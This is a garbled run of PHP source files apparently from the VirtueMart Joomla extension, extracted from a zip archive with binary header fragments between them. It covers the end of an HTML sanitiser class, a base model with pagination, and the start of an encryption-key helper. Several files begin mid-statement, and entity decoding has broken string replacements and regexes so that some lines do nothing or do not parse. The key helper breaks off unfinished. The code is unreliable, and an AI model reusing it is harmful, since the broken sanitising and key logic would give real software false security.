$sC); } $v = preg_replace_callback('`(url(?:\()(?: )*(?:\'|"|&(?:quot|apos);)?)(.+?)((?:\'|"|&(?:quot|apos);)?(?: )*(?:\)))`iS', 'vmFilter::hl_prot', $v); $v = !$C['css_expression'] ? preg_replace('`expression`i', ' ', preg_replace('`\\\\\S|(/|(%2f))(\*|(%2a))`i', ' ', $v)) : $v; }elseif(isset($aNP[$k]) or strpos($k, 'src') !== false or $k[0] == 'o'){ $v = str_replace("\xad", ' ', (strpos($v, '&') !== false ? str_replace(array('­', '­', '­'), ' ', $v) : $v)); $v = vmFilter::hl_prot($v, $k); if($k == 'href'){ // X-spam if($C['anti_mail_spam'] && strpos($v, 'mailto:') === 0){ $v = str_replace('@', htmlspecialchars($C['anti_mail_spam']), $v); }elseif($C['anti_link_spam']){ $r1 = $C['anti_link_spam'][1]; if(!empty($r1) && preg_match($r1, $v)){ continue; } $r0 = $C['anti_link_spam'][0]; if(!empty($r0) && preg_match($r0, $v)){ if(isset($a['rel'])){ if(!preg_match('`\bnofollow\b`i', $a['rel'])){ $a['rel'] .= ' nofollow'; } }elseif(isset($aA['rel'])){ if(!preg_match('`\bnofollow\b`i', $aA['rel'])){ $nfr = 1; } }else{$a['rel'] = 'nofollow'; } } } } } if(isset($rl[$k]) && is_array($rl[$k]) && ($v = vmFilter::hl_attrval($v, $rl[$k])) === 0){ continue; } $a[$k] = str_replace('"', '"', $v); } } if($nfr){ $a['rel'] = isset($a['rel']) ? $a['rel']. ' nofollow' : 'nofollow'; } // rqd attr static $eAR = array('area'=>array('alt'=>'area'), 'bdo'=>array('dir'=>'ltr'), 'form'=>array('action'=>''), 'img'=>array('src'=>'', 'alt'=>'image'), 'map'=>array('name'=>''), 'optgroup'=>array('label'=>''), 'param'=>array('name'=>''), 'script'=>array('type'=>'text/javascript'), 'textarea'=>array('rows'=>'10', 'cols'=>'50')); if(isset($eAR[$e])){ foreach($eAR[$e] as $k=>$v){ if(!isset($a[$k])){ $a[$k] = isset($v[0]) ? $v : $k; } } } // depr attrs if($depTr){ $c = array(); foreach($a as $k=>$v){ if($k == 'style' or !isset($aND[$k][$e])){ continue; } if($k == 'align'){ unset($a['align']); if($e == 'img' && ($v == 'left' or $v == 'right')){ $c[] = 'float: '. $v; } elseif(($e == 'div' or $e == 'table') && $v == 'center'){ $c[] = 'margin: auto'; } else{$c[] = 'text-align: '. $v; } }elseif($k == 'bgcolor'){ unset($a['bgcolor']); $c[] = 'background-color: '. $v; }elseif($k == 'border'){ unset($a['border']); $c[] = "border: {$v}px"; }elseif($k == 'bordercolor'){ unset($a['bordercolor']); $c[] = 'border-color: '. $v; }elseif($k == 'clear'){ unset($a['clear']); $c[] = 'clear: '. ($v != 'all' ? $v : 'both'); }elseif($k == 'compact'){ unset($a['compact']); $c[] = 'font-size: 85%'; }elseif($k == 'height' or $k == 'width'){ unset($a[$k]); $c[] = $k. ': '. ($v[0] != '*' ? $v. (ctype_digit($v) ? 'px' : '') : 'auto'); }elseif($k == 'hspace'){ unset($a['hspace']); $c[] = "margin-left: {$v}px; margin-right: {$v}px"; }elseif($k == 'language' && !isset($a['type'])){ unset($a['language']); $a['type'] = 'text/'. strtolower($v); }elseif($k == 'name'){ if($C['no_deprecated_attr'] == 2 or ($e != 'a' && $e != 'map')){ unset($a['name']); } if(!isset($a['id']) && preg_match('`[a-zA-Z][a-zA-Z\d.:_\-]*`', $v)){ $a['id'] = $v; } }elseif($k == 'noshade'){ unset($a['noshade']); $c[] = 'border-style: none; border: 0; background-color: gray; color: gray'; }elseif($k == 'nowrap'){ unset($a['nowrap']); $c[] = 'white-space: nowrap'; }elseif($k == 'size'){ unset($a['size']); $c[] = 'size: '. $v. 'px'; }elseif($k == 'start' or $k == 'value'){ unset($a[$k]); }elseif($k == 'type'){ unset($a['type']); static $ol_type = array('i'=>'lower-roman', 'I'=>'upper-roman', 'a'=>'lower-latin', 'A'=>'upper-latin', '1'=>'decimal'); $c[] = 'list-style-type: '. (isset($ol_type[$v]) ? $ol_type[$v] : 'decimal'); }elseif($k == 'vspace'){ unset($a['vspace']); $c[] = "margin-top: {$v}px; margin-bottom: {$v}px"; } } if(count($c)){ $c = implode('; ', $c); $a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $c. ';': $c. ';'; } } // unique ID if($C['unique_ids'] && isset($a['id'])){ if(!preg_match('`^[A-Za-z][A-Za-z0-9_\-.:]*$`', ($id = $a['id'])) or (!is_null(vmFilter::$hl_Ids[$id]) && $C['unique_ids'] == 1)){ unset($a['id']); }else{ while(!is_null(vmFilter::$hl_Ids[$id])){ $id = $C['unique_ids']. $id; } vmFilter::$hl_Ids[($a['id'] = $id)] = 1; } } // xml:lang if($C['xml:lang'] && isset($a['lang'])){ $a['xml:lang'] = isset($a['xml:lang']) ? $a['xml:lang'] : $a['lang']; if($C['xml:lang'] == 2){ unset($a['lang']); } } // for transformed tag if(!empty($trt)){ $a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $trt : $trt; } // return with empty ele / if(empty($C['hook_tag'])){ $aA = ''; foreach($a as $k=>$v){ $aA .= " {$k}=\"{$v}\""; } return "<{$e}{$aA}". (isset($eE[$e]) ? ' /' : ''). '>'; } else{return $C['hook_tag']($e, $a); } // eof } public static function hl_tag2(&$e, &$a, $t=1){ // transform tag if($e == 'center'){ $e = 'div'; return 'text-align: center;'; } if($e == 'dir' or $e == 'menu'){ $e = 'ul'; return ''; } if($e == 's' or $e == 'strike'){ $e = 'span'; return 'text-decoration: line-through;'; } if($e == 'u'){ $e = 'span'; return 'text-decoration: underline;'; } static $fs = array('0'=>'xx-small', '1'=>'xx-small', '2'=>'small', '3'=>'medium', '4'=>'large', '5'=>'x-large', '6'=>'xx-large', '7'=>'300%', '-1'=>'smaller', '-2'=>'60%', '+1'=>'larger', '+2'=>'150%', '+3'=>'200%', '+4'=>'300%'); if($e == 'font'){ $a2 = ''; if(preg_match('`face\s*=\s*(\'|")([^=]+?)\\1`i', $a, $m) or preg_match('`face\s*=\s*([^"])(\S+)`i', $a, $m)){ $a2 .= ' font-family: '. str_replace('"', '\'', trim($m[2])). ';'; } if(preg_match('`color\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m)){ $a2 .= ' color: '. trim($m[2]). ';'; } if(preg_match('`size\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m) && isset($fs[($m = trim($m[2]))])){ $a2 .= ' font-size: '. $fs[$m]. ';'; } $e = 'span'; return ltrim($a2); } if($t == 2){ $e = 0; return 0; } return ''; // eof } public static function hl_tidy($t, $w, $p){ // Tidy/compact HTM if(strpos(' pre,script,textarea', "$p,")){ return $t; } $t = str_replace(' ]*(?)\s+`', '`\s+`', '`(<\w[^>]*(?) `'), array(' $1', ' ', '$1'), preg_replace_callback(array('`(<(!\[CDATA\[))(.+?)(\]\]>)`sm', '`(<(!--))(.+?)(-->)`sm', '`(<(pre|script|textarea)[^>]*?>)(.+?)()`sm'), create_function('$m', 'return $m[1]. str_replace(array("<", ">", "\n", "\r", "\t", " "), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), $m[3]). $m[4];'), $t))); if(($w = strtolower($w)) == -1){ return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t); } $s = strpos(" $w", 't') ? "\t" : ' '; $s = preg_match('`\d`', $w, $m) ? str_repeat($s, $m[0]) : str_repeat($s, ($s == "\t" ? 1 : 2)); $n = preg_match('`[ts]([1-9])`', $w, $m) ? $m[1] : 0; $a = array('br'=>1); $b = array('button'=>1, 'input'=>1, 'option'=>1); $c = array('caption'=>1, 'dd'=>1, 'dt'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'isindex'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'object'=>1, 'p'=>1, 'pre'=>1, 'td'=>1, 'textarea'=>1, 'th'=>1); $d = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'colgroup'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'fieldset'=>1, 'form'=>1, 'hr'=>1, 'iframe'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1); ob_start(); if(isset($d[$p])){ echo str_repeat($s, ++$n); } $t = explode('<', $t); echo ltrim(array_shift($t)); for($i=-1, $j=count($t); ++$i<$j;){ $r = ''; list($e, $r) = explode('>', $t[$i]); $x = $e[0] == '/' ? 0 : (substr($e, -1) == '/' ? 1 : ($e[0] != '!' ? 2 : -1)); $y = !$x ? ltrim($e, '/') : ($x > 0 ? substr($e, 0, strcspn($e, ' ')) : 0); $e = "<$e>"; if(isset($d[$y])){ if(!$x){ echo "\n", str_repeat($s, --$n), "$e\n", str_repeat($s, $n); } else{echo "\n", str_repeat($s, $n), "$e\n", str_repeat($s, ($x != 1 ? ++$n : $n)); } echo ltrim($r); continue; } $f = "\n". str_repeat($s, $n); if(isset($c[$y])){ if(!$x){ echo $e, $f, ltrim($r); } else{echo $f, $e, $r; } }elseif(isset($b[$y])){ echo $f, $e, $r; }elseif(isset($a[$y])){ echo $e, $f, ltrim($r); }elseif(!$y){ echo $f, $e, $f, ltrim($r); }else{echo $e, $r; } } $t = preg_replace('`[\n]\s*?[\n]+`', "\n", ob_get_contents()); ob_end_clean(); if(($l = strpos(" $w", 'r') ? (strpos(" $w", 'n') ? "\r\n" : "\r") : 0)){ $t = str_replace("\n", $l, $t); } return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t); // eof } public static function hl_version(){ // rel return '1.1.10'; // eof } public static function kses($t, $h, $p=array('http', 'https', 'ftp', 'news', 'nntp', 'telnet', 'gopher', 'mailto')){ // kses compat foreach($h as $k=>$v){ $h[$k]['n']['*'] = 1; } $C['cdata'] = $C['comment'] = $C['make_tag_strict'] = $C['no_deprecated_attr'] = $C['unique_ids'] = 0; $C['keep_bad'] = 1; $C['elements'] = count($h) ? strtolower(implode(',', array_keys($h))) : '-*'; $C['hook'] = 'vmFilter::kses_hook'; $C['schemes'] = '*:'. implode(',', $p); return vmFilter::$hl($t, $C, $h); // eof } public static function kses_hook($t, &$C, &$S){ // kses compat return $t; // eof } public static function loadconfig($c) { switch($c){ case 'safe': //Safest, allowing only safe HTML markup -- $config = array('safe'=>1); break; case 'allhtml': //Simplest, allowing all valid HTML markup except javascript: -- $config = array(); break; case 'admin': // Allowing all valid HTML markup including javascript: -- $config = array('schemes'=>'*:*'); break; case 'simple': //Allowing only safe HTML and the elements a, br, em, and strong -- $config = array('safe'=>1, 'elements'=>'br, em, h2, h3, h4, h5, h6, p, span, strong'); break; case 'no_js_flash': // Not allowing elements script and object -- $config = array('safe'=>1,'elements'=>'* -script -object'); break; case 'no_id_style': // Not allowing attributes id and style -- $config = array('safe'=>1,'deny_attribute'=>'id, style'); break; case 'only_link': // Permitting only attributes title and href -- $config = array('safe'=>1,'deny_attribute'=>'* -title -href'); break; case 'remove': // Remove bad/disallowed tags altogether instead of converting them to entities -- $config = array('safe'=>1,'keep_bad'=>0); // Allowing attribute title only in a and not allowing attributes id, style, or scriptable on* attributes like onclick -- // $config = array('deny_attribute'=>'title, id, style, on*'); // $spec = 'a=title'; // $out = vmFilter($in, $config, $spec); case 'text': default: //only text and br-- $config = array('elements'=>'strong', 'safe'=>1); break; } return $config; } static function mail($v){ $v = str_replace('mailto:','', $v); $v = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$v); return $v; //This does not work, I get a blank email //$regx = "@[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*\@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?@"; //return preg_replace($regx ,'', $v); } function phone($v){ $regx = "~^[0-9,+,(), ,]{1,}(,[0-9]+){0,}$~"; return preg_replace($regx ,'', $v); } static function urlcheck($v) { if (!preg_match("#(http|ftp|https)#",$v)) $v = "http://".$v ; $regx = "#(http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?#"; $site = preg_replace($regx ,'', $v); if ($file = @fopen($site, 'r')) { return $v ; } else return ''; } }PKB\\&PPhelpers/vmmodel.phpnuW+A_cidName = $cidName; // Get the task $task = JRequest::getWord('task',''); if($task!=='add'){ // Get the id or array of ids. $idArray = JRequest::getVar($this->_cidName, 0, '', 'array'); if(empty($idArray[0])) $idArray[0] = 0; $this->setId((int)$idArray[0]); } $this->setToggleName('published'); } static private $_vmmodels = array(); /** * * @author Patrick Kohl * @author Max Milbers */ static function getModel($name=false){ if (!$name){ $name = JRequest::getCmd('view',''); // vmdebug('Get standard model of the view'); } $name = strtolower($name); $className = 'VirtueMartModel'.ucfirst($name); if(empty(self::$_vmmodels[strtolower($className)])){ if( !class_exists($className) ){ $modelPath = JPATH_VM_ADMINISTRATOR.DS."models".DS.$name.".php"; if( file_exists($modelPath) ){ require( $modelPath ); } else{ JError::raiseWarning( 0, 'Model '. $name .' not found.' ); echo 'File for Model '. $name .' not found.'; return false; } } self::$_vmmodels[strtolower($className)] = new $className(); return self::$_vmmodels[strtolower($className)]; } else { return self::$_vmmodels[strtolower($className)]; } } public function setIdName($idName){ $this->_idName = $idName; } public function getIdName(){ return $this->_idName; } public function getId(){ return $this->_id; } /** * Resets the id and data * * @author Max Milbers */ function setId($id){ if(is_array($id) && count($id)!==0) $id = $id[0]; if($this->_id!=$id){ $this->_id = (int)$id; $this->_data = null; } return $this->_id; } public function setMainTable($maintablename,$maintable=0){ $this->_maintablename = $maintablename; if(empty($maintable)){ $this->_maintable = '#__virtuemart_'.$maintablename; } else { $this->_maintable = $maintable; } $defaultTable = $this->getTable($this->_maintablename); $this->_idName = $defaultTable->getKeyName(); $this->setDefaultValidOrderingFields($defaultTable); $this->_selectedOrdering = $this->_validOrderingFieldName[0]; } function getDefaultOrdering(){ return $this->_selectedOrdering; } function addvalidOrderingFieldName($add){ $this->_validOrderingFieldName = array_merge($this->_validOrderingFieldName,$add); } function removevalidOrderingFieldName($name){ $key=array_search($name, $this->_validOrderingFieldName); if($key!==false){ unset($this->_validOrderingFieldName[$key]) ; } } var $_tablePreFix = ''; /** * * This function sets the valid ordering fields for this model with the default table attributes * @author Max Milbers * @param unknown_type $defaultTable */ function setDefaultValidOrderingFields($defaultTable=null){ if($defaultTable===null){ $defaultTable = $this->getTable($this->_maintablename); } $this->_tablePreFix = $defaultTable->_tablePreFix; $dTableArray = get_object_vars($defaultTable); // Iterate over the object variables to build the query fields and values. foreach ($dTableArray as $k => $v){ // Ignore any internal fields. $posUnderLine = strpos ($k,'_'); if (( $posUnderLine!==false && $posUnderLine === 0) ) { continue; } // $this->_validOrderingFieldName[] = $this->_tablePreFix.$k; $this->_validOrderingFieldName[] = $k; } } function _getOrdering($preTable='') { if(empty($this->_selectedOrdering)) vmTrace('empty _getOrdering'); if(empty($this->_selectedOrderingDir)) vmTrace('empty _selectedOrderingDir'); return ' ORDER BY '.$preTable.$this->_selectedOrdering.' '.$this->_selectedOrderingDir ; } var $_validOrderingFieldName = array(); function checkFilterOrder($toCheck){ if(empty($toCheck)) return $this->_selectedOrdering; //vmdebug('checkFilterOrder',$this->_validOrderingFieldName); if(!in_array($toCheck, $this->_validOrderingFieldName)){ $break = false; vmSetStartTime(); foreach($this->_validOrderingFieldName as $name){ if(!empty($name) and strpos($name,$toCheck)!==FALSE){ $this->_selectedOrdering = $name; $break = true; break; } } if(!$break){ $app = JFactory::getApplication(); $view = JRequest::getWord('view','virtuemart'); $app->setUserState( 'com_virtuemart.'.$view.'.filter_order',$this->_selectedOrdering); } //vmdebug('checkValidOrderingField:'.get_class($this).' programmer choosed invalid ordering '.$toCheck.', use '.$this->_selectedOrdering); } else { $this->_selectedOrdering = $toCheck; } return $this->_selectedOrdering; } var $_validFilterDir = array('ASC','DESC'); function checkFilterDir($toCheck){ $filter_order_Dir = strtoupper($toCheck); if(empty($filter_order_Dir) or !in_array($filter_order_Dir, $this->_validFilterDir)){ // vmdebug('checkFilterDir: programmer choosed invalid ordering direction '.$filter_order_Dir,$this->_validFilterDir); // vmTrace('checkFilterDir'); $filter_order_Dir = $this->_selectedOrderingDir; $view = JRequest::getWord('view','virtuemart'); $app = JFactory::getApplication(); $app->setUserState( 'com_virtuemart.'.$view.'.filter_order_Dir',$filter_order_Dir); } // vmdebug('checkFilterDir '.$filter_order_Dir); $this->_selectedOrderingDir = $filter_order_Dir; return $this->_selectedOrderingDir; } /** * Loads the pagination * * @author Max Milbers */ public function getPagination($perRow = 5) { if(empty($this->_limit) ){ $this->setPaginationLimits(); } $this->_pagination = new VmPagination($this->_total , $this->_limitStart, $this->_limit , $perRow ); // } // vmdebug('$this->pagination $total '.$this->_total,$this->_pagination);vmTrace('getPagination'); return $this->_pagination; } public function setPaginationLimits(){ $app = JFactory::getApplication(); $view = JRequest::getWord('view',$this->_maintablename); $limit = (int)$app->getUserStateFromRequest('com_virtuemart.'.$view.'.limit', 'limit'); if(empty($limit)){ if($app->isSite()){ $limit = VmConfig::get ('llimit_init_FE'); } else { $limit = VmConfig::get ('llimit_init_BE'); } if(empty($limit)){ $limit = 30; } } $this->setState('limit', $limit); $this->setState('com_virtuemart.'.$view.'.limit',$limit); $this->_limit = $limit; $limitStart = $app->getUserStateFromRequest('com_virtuemart.'.$view.'.limitstart', 'limitstart', JRequest::getInt('limitstart',0), 'int'); //There is a strange error in the frontend giving back 9 instead of 10, or 24 instead of 25 //This functions assures that the steps of limitstart fit with the limit $limitStart = ceil((float)$limitStart/(float)$limit) * $limit; $this->setState('limitstart', $limitStart); $this->setState('com_virtuemart.'.$view.'.limitstart',$limitStart); $this->_limitStart = $limitStart; return array($this->_limitStart,$this->_limit); } /** * Gets the total number of entries *TODO filters and search ar not set * @author Max Milbers * @return int Total number of entries in the database */ public function getTotal() { if (empty($this->_total)) { $query = 'SELECT `'.$this->_db->getEscaped($this->_idName).'` FROM `'.$this->_db->getEscaped($this->_maintable).'`';; $this->_db->setQuery( $query ); if(!$this->_db->query()){ if(empty($this->_maintable)) vmError('Model '.get_class( $this ).' has no maintable set'); $this->_total = 0; } else { $this->_total = $this->_db->getNumRows(); } // $this->_total = $this->_getListCount($query); } return $this->_total; } public function setGetCount($withCount){ $this->_withCount = $withCount; } /** * * exeSortSearchListQuery * * @author Max Milbers * @author Patrick Kohl * @param boolean $object use single result array = 2, assoc. array = 1 or object list = 0 as return value * @param string $select the fields to select * @param string $joinedTables the string of the joined tables or the table * @param string $whereString for the where condition * @param string $groupBy * @param string $orderBy * @param string $filter_order_Dir */ public function exeSortSearchListQuery($object, $select, $joinedTables, $whereString = '', $groupBy = '', $orderBy = '', $filter_order_Dir = '', $nbrReturnProducts = false){ // vmSetStartTime('exe'); // if(USE_SQL_CALC_FOUND_ROWS){ //and the where conditions $joinedTables .="\n".$whereString."\n".$groupBy."\n".$orderBy.' '.$filter_order_Dir ; // $joinedTables .= $whereString .$groupBy .$orderBy; if($nbrReturnProducts){ $limitStart = 0; $limit = $nbrReturnProducts; $this->_withCount = false; } else if($this->_noLimit){ $this->_withCount = false; $limitStart = 0; $limit = 0; } else { $limits = $this->setPaginationLimits(); $limitStart = $limits[0]; $limit = $limits[1]; } if($this->_withCount){ $q = 'SELECT SQL_CALC_FOUND_ROWS '.$select.$joinedTables; } else { $q = 'SELECT '.$select.$joinedTables; } if($this->_noLimit or empty($limit)){ // vmdebug('exeSortSearchListQuery '.get_class($this).' no limit'); $this->_db->setQuery($q); } else { $this->_db->setQuery($q,$limitStart,$limit); // vmdebug('exeSortSearchListQuery '.get_class($this).' with limit'); } //vmdebug('exeSortSearchListQuery '.$orderBy .$filter_order_Dir,$q); if($object == 2){ $this->ids = $this->_db->loadResultArray(); } else if($object == 1 ){ $this->ids = $this->_db->loadAssocList(); } else { $this->ids = $this->_db->loadObjectList(); } if($err=$this->_db->getErrorMsg()){ vmError('exeSortSearchListQuery '.$err); } //vmdebug('my $limitStart '.$limitStart.' $limit '.$limit.' q ',$q ); if($this->_withCount){ $this->_db->setQuery('SELECT FOUND_ROWS()'); $count = $this->_db->loadResult(); if($count == false){ $count = 0; } $this->_total = $count; if($limitStart>=$count){ if(empty($limit)){ $limit = 1.0; } $limitStart = floor($count/$limit); $this->_db->setQuery($q,$limitStart,$limit); if($object == 2){ $this->ids = $this->_db->loadResultArray(); } else if($object == 1 ){ $this->ids = $this->_db->loadAssocList(); } else { $this->ids = $this->_db->loadObjectList(); } } // $this->getPagination(true); } else { $this->_withCount = true; } //print_r( $this->_db->_sql ); // vmdebug('my $list',$list); if(empty($this->ids)){ $errors = $this->_db->getErrorMsg(); if( !empty( $errors)){ vmdebug('exeSortSearchListQuery error in class '.get_class($this).' sql:',$this->_db->getErrorMsg()); } if($object == 2 or $object == 1){ $this->ids = array(); } } // vmTime('exeSortSearchListQuery SQL_CALC_FOUND_ROWS','exe'); return $this->ids; } /** * * @author Max Milbers * */ public function getData(){ if (empty($this->_data)) { $this->_data = $this->getTable($this->_maintablename); $this->_data->load($this->_id); //just an idea if(isset($this->_data->virtuemart_vendor_id) && empty($this->_data->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); } } return $this->_data; } public function store(&$data){ $table = $this->getTable($this->_maintablename); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError( get_class( $this ).'::store '.$error); } if(is_object($data)){ $_idName = $this->_idName; return $data->$_idName; } else { return $data[$this->_idName]; } } /** * Delete all record ids selected * * @author Max Milbers * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); foreach($ids as $id) { if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } } return true; } public function setToggleName($togglesName){ $this->_togglesName[] = $togglesName ; } /** * toggle (0/1) a field * or invert by $val for multi IDS; * @author Patrick Kohl * @param string $field the field to toggle * @param string $postName the name of id Post (Primary Key in table Class constructor) */ function toggle($field,$val = NULL, $cidname = 0,$tablename = 0 ) { $ok = true; if (!in_array($field, $this->_togglesName)) { return false ; } if($tablename === 0) $tablename = $this->_maintablename; if($cidname === 0) $cidname = $this->_cidName; $table = $this->getTable($tablename); //if(empty($cidName)) $cidName = $this->_cidName; $ids = JRequest::getVar( $cidname, JRequest::getVar('cid',array(0)), 'post', 'array' ); foreach($ids as $id){ $table->load( (int)$id ); if (!$table->toggle($field, $val)) { // if (!$table->store()) { vmError(get_class( $this ).'::toggle '.$table->getError() .' '.$id); $ok = false; } } return $ok; } /** * Original From Joomla Method to move a weblink * @ Author Kohl Patrick * @$filter the field to group by * @access public * @return boolean True on success * @since 1.5 */ function move($direction, $filter=null) { $table = $this->getTable($this->_maintablename); if (!$table->load($this->_id)) { vmError('VmModel move '.$this->_db->getErrorMsg()); return false; } if (!$table->move( $direction, $filter )) { vmError('VmModel move '.$this->_db->getErrorMsg()); return false; } return true; } /** * Original From Joomla Method to move a weblink * @ Author Kohl Patrick * @$filter the field to group by * @access public * @return boolean True on success * @since 1.5 */ function saveorder($cid = array(), $order, $filter = null) { $table = $this->getTable($this->_maintablename); $groupings = array(); // update ordering values for( $i=0; $i < count($cid); $i++ ) { $table->load( (int) $cid[$i] ); // track categories if ($filter) $groupings[] = $table->$filter; if ($table->ordering != $order[$i]) { $table->ordering = $order[$i]; if (!$table->store()) { vmError('VmModel saveorder '.$this->_db->getErrorMsg()); return false; } } } // execute updateOrder for each parent group if ($filter) { $groupings = array_unique( $groupings ); foreach ($groupings as $group){ $table->reorder( $filter.' = '.(int) $group); } } return true; } /** * Since an object like product, category dont need always an image, we can attach them to the object with this function * The parameter takes a single product or arrays of products, look for BE/views/product/view.html.php * for an exampel using it * * @author Max Milbers * @param object $obj some object with a _medias xref table */ public function addImages($obj,$limit=0){ $mediaModel = VmModel::getModel('Media'); $mediaModel->attachImages($obj,$this->_maintablename,'image',$limit); } public function resetErrors(){ $this->_errors = array(); } } jimport('joomla.html.pagination'); class VmPagination extends JPagination { private $_perRow = 5; function __construct($total, $limitstart, $limit, $perRow=5){ if($perRow!==0){ $this->_perRow = $perRow; } parent::__construct($total, $limitstart, $limit); } /** Creates a dropdown box for selecting how many records to show per page. * Modification of Joomla Core libraries/html/pagination.php getLimitBox function * The function uses as sequence a generic function or a sequence configured in the vmconfig * * use in a view.html.php $vmModel->setPerRow($perRow); to activate it * * @author Joe Motacek (Cleanshooter) * @author Max Milbers * @return string The HTML for the limit # input box. * @since 11.1 */ function setSequence($sequence){ $this->_sequence = $sequence; } function getLimitBox($sequence=0) { $app = JFactory::getApplication(); // Initialize variables $limits = array (); $selected = $this->_viewall ? 0 : $this->limit; // Build the select list if ($app->isAdmin()) { if(empty($sequence)){ $sequence = VmConfig::get('pagseq',0); } if(!empty($sequence)){ $sequenceArray = explode(',', $sequence); if(count($sequenceArray>1)){ foreach($sequenceArray as $items){ $limits[$items]=JHtml::_('select.option', $items); } } } if(empty($limits)){ $limits[15] = JHTML::_('select.option', 15); $limits[30] = JHTML::_('select.option', 30); $limits[50] = JHTML::_('select.option', 50); $limits[100] = JHTML::_('select.option', 100); $limits[200] = JHTML::_('select.option', 200); $limits[400] = JHTML::_('select.option', 400); } if(!array_key_exists($this->limit,$limits)){ $limits[$this->limit] = JHTML::_('select.option', $this->limit); ksort($limits); } $namespace = ''; if (JVM_VERSION!==1) { $namespace = 'Joomla.'; } $html = JHTML::_('select.genericlist', $limits, 'limit', 'class="inputbox" size="1" onchange="'.$namespace.'submitform();"', 'value', 'text', $selected); } else { $getArray = (JRequest::get( 'get' )); $link =''; unset ($getArray['limit']); // foreach ($getArray as $key => $value ) $link .= '&'.$key.'='.$value; foreach ($getArray as $key => $value ){ if (is_array($value)){ foreach ($value as $k => $v ){ $link .= '&'.$key.'['.$k.']'.'='.$v; } } else { $link .= '&'.$key.'='.$value; } } $link[0] = "?"; $link = 'index.php'.$link ; if(empty($sequence)){ $sequence = VmConfig::get('pagseq_'.$this->_perRow); } if(!empty($sequence)){ $sequenceArray = explode(',', $sequence); if(count($sequenceArray>1)){ foreach($sequenceArray as $items){ $limits[$items]=JHtml::_('select.option', JRoute::_( $link.'&limit='. $items, false), $items); } } } if(empty($limits) or !is_array($limits)){ if($this->_perRow===1) $this->_perRow = 5; $limits[$this->_perRow * 5] = JHtml::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 5, false) ,$this->_perRow * 5); $limits[$this->_perRow * 10] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 10, false) , $this->_perRow * 10 ); $limits[$this->_perRow * 20] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 20, false) , $this->_perRow * 20 ); $limits[$this->_perRow * 50] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 50, false) , $this->_perRow * 50 ); } if(!array_key_exists($this->limit,$limits)){ $limits[$this->limit] = JHTML::_('select.option', JRoute::_( $link.'&limit='.$this->limit,false),$this->limit); ksort($limits); } $selected= JRoute::_( $link.'&limit='. $selected,false) ; $js = 'onchange="window.top.location.href=this.options[this.selectedIndex].value"'; $html = JHTML::_('select.genericlist', $limits, '', 'class="inputbox" size="1" '.$js , 'value', 'text', $selected); } return $html; } } PKB\Ěhelpers/vmcrypt.phpnuW+A0){ ksort($existingKeys); if(!empty($date)){ $key = ''; foreach($existingKeys as $unixDate=>$values){ if(($unixDate-30) >= $date ){ vmdebug('$unixDate '.$unixDate.' >= $date '.$date); continue; } vmdebug('$unixDate < $date'); //$usedKey = $values; $key = $values['key']; } vmdebug('Use key file ',$key); //include($keyPath .DS. $usedKey.'.php'); } else { $usedKey = end($existingKeys); $key = $usedKey['key']; } vmTime('my time','check'); return $key; } else { $usedKey = date("ymd"); $filename = $keyPath . DS . $usedKey . '.ini'; if (!JFile::exists ($filename)) { $token = JUtility::getHash(JUserHelper::genRandomPassword()); $salt = JUserHelper::getSalt('crypt-md5'); $hashedToken = md5($token . $salt) ; $key = base64_encode($hashedToken); //$options = array('costs'=>VmConfig::get('cryptCost',8)); /*if(!function_exists('password_hash')){ require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'password_compat.php'); } if(function_exists('password_hash')){ $key = password_hash($key, PASSWORD_BCRYPT, $options); }*/ $date = JFactory::getDate(); $today = $date->toUnix(); //$key = pack('H*',$key); $content = ';'; $result = JFile::write($filename, $content); vmTime('my time','check'); return $key; } } vmTime('my time','check'); //return pack('H*',$key); } private static function _getEncryptSafepath () { if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); $safePath = ShopFunctions::checkSafePath(); if (empty($safePath)) { return NULL; } $encryptSafePath = $safePath . self::ENCRYPT_SAFEPATH; //echo 'my $encryptSafePath '.$encryptSafePath; //if(!JFolder::exists($encryptSafePath)){ self::createEncryptFolder($encryptSafePath); //} return $encryptSafePath; } private static function createEncryptFolder ($folderName) { //$folderName = self::_getEncryptSafepath (); $exists = JFolder::exists ($folderName); if ($exists) { return TRUE; } $created = JFolder::create 